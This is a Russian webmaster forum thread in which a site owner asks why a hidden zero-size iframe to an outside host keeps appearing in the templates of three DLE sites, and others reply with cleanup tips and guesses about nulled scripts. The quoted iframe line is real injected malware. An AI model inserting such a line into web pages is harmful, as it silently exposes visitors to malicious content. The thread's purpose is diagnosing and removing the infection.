Вирус на сайтах. Как попадает, не понимаю.

enson
На сайте с 29.07.2008
Offline
45
1231

Возникла проблема. На хостинге у меня порядка 10 сайтов. Все работают на DLE.

Но на трех из них ежедневно в файл main.tpl прописывается вирус вида:

<iframe src="http://stats-tracker.org/3/in.cgi?3" width="0" height="0" frameborder="0"></iframe>

Все возможны доступы по FTP заблокированы. То есть даже я сам не могу ничего по фтп сделать.

Так же ничего не возможно изменить через панель хостинга в менеджере файлов. То есть все стандартные пути проникновения вируса по фтп не работают. Пароли админа в админке dle менял, и после смены ими не пользовался специально. То есть угнать пароль из формы или из кукиса тоже не возможно - его там просто нет. Если это косяк хостера, то почему на других сайтах все чисто?

Свой комп проверял уже кучу раз всем чем мог. Ничего не нашел. Испробовал все стандартные методы избавления от вируса. Что еще сделать не знаю. Посоветуйте, пожалуйста.:o

LEOnidUKG
На сайте с 25.11.2006
Offline
1762
#1

а DLE случаем не с нуледа? :)

✅ Мой Телеграм канал по SEO, оптимизации сайтов и серверов: https://t.me/leonidukgLIVE ✅ Качественное и рабочее размещение SEO статей СНГ и Бурж: https://getmanylinks.ru/ ✅ Настройка и оптимизация серверов https://getmanyspeed.ru/
enson
На сайте с 29.07.2008
Offline
45
#2
LEOnidUKG:
а DLE случаем не с нуледа? :)

Один сайт с лицензией, два других нуленые.

[Удален]
#3

Посмотрите у сайтов на сервере вашего хостера есть вирус или нет.

xseo.in/sip.php

если есть, стучите хостеру, нет копайте в другом направлении:)

freedomcg
На сайте с 12.09.2009
Offline
21
#4

у меня такая вещь была на сайте с WP. Вирус google-статистик. Почистил файлы, выставил права доступа. Опять появлялись вируса. Ко мне на сайт люди не могли попасть. Что я сделал:

1) поменял пароли доступа по фтп;

2) просматрел основные файлы и почистил их;

3) выставил права доступа на папки и файлы;

-----------------------

4) перестал наганять трафик на сайты через фиговую тему, как jetspaw. Вот она загоняет всякие нехорошие штуки.

Если тебе это не поможет, то увы прийдется сносить и заново вдуплять сайтец свой. Удачи!!!

enson
На сайте с 29.07.2008
Offline
45
#5

ну трафик ни какими такими темками не нагоняю, только гугл и яшка.

Файлы перезаливал уже. Права выставлял, все равно появляется.

Не переливал только папки с картинками и мускл.

HM
На сайте с 16.04.2009
Offline
37
#6

менять пароли фтп на хостинге и не заходить после этого на сайт...должно помочь...а вообще - в поиск - такие темы уже были...

да, еще проверьте касперским комп - только он у меня выловил виря + посмотрите на подозрительные файлы меню автозагрузка - у меня он там сидел...

enson
На сайте с 29.07.2008
Offline
45
#7
HELLSTORM:
менять пароли фтп на хостинге и не заходить после этого на сайт...должно помочь...а вообще - в поиск - такие темы уже были...
да, еще проверьте касперским комп - только он у меня выловил виря + посмотрите на подозрительные файлы меню автозагрузка - у меня он там сидел...

все это уже делал несколько раз. В автозагрузке все чисто, за этим вообще всегда слежу.

E
На сайте с 01.09.2009
Offline
21
#8

Определить время последнего изменения файлов, искать в логах заходы на сайт в это время и смело стучить на техподдержку, я уверен вы поможете не только себе.

Качественные шаблоны (http://sohib.ru/gallery/ru/index.html) Генератор анкоров SAPE (http://sohib.ru/generator/ru/index.html)
R
На сайте с 24.01.2008
Offline
180
#9

стучите в асю помогу....

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
iren K
На сайте с 28.12.2008
Offline
222
#10
enson:
Возникла проблема. На хостинге у меня порядка 10 сайтов. Все работают на DLE.
Но на трех из них ежедневно в файл main.tpl прописывается вирус :o

а кто хостер?

c уважением Iren

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий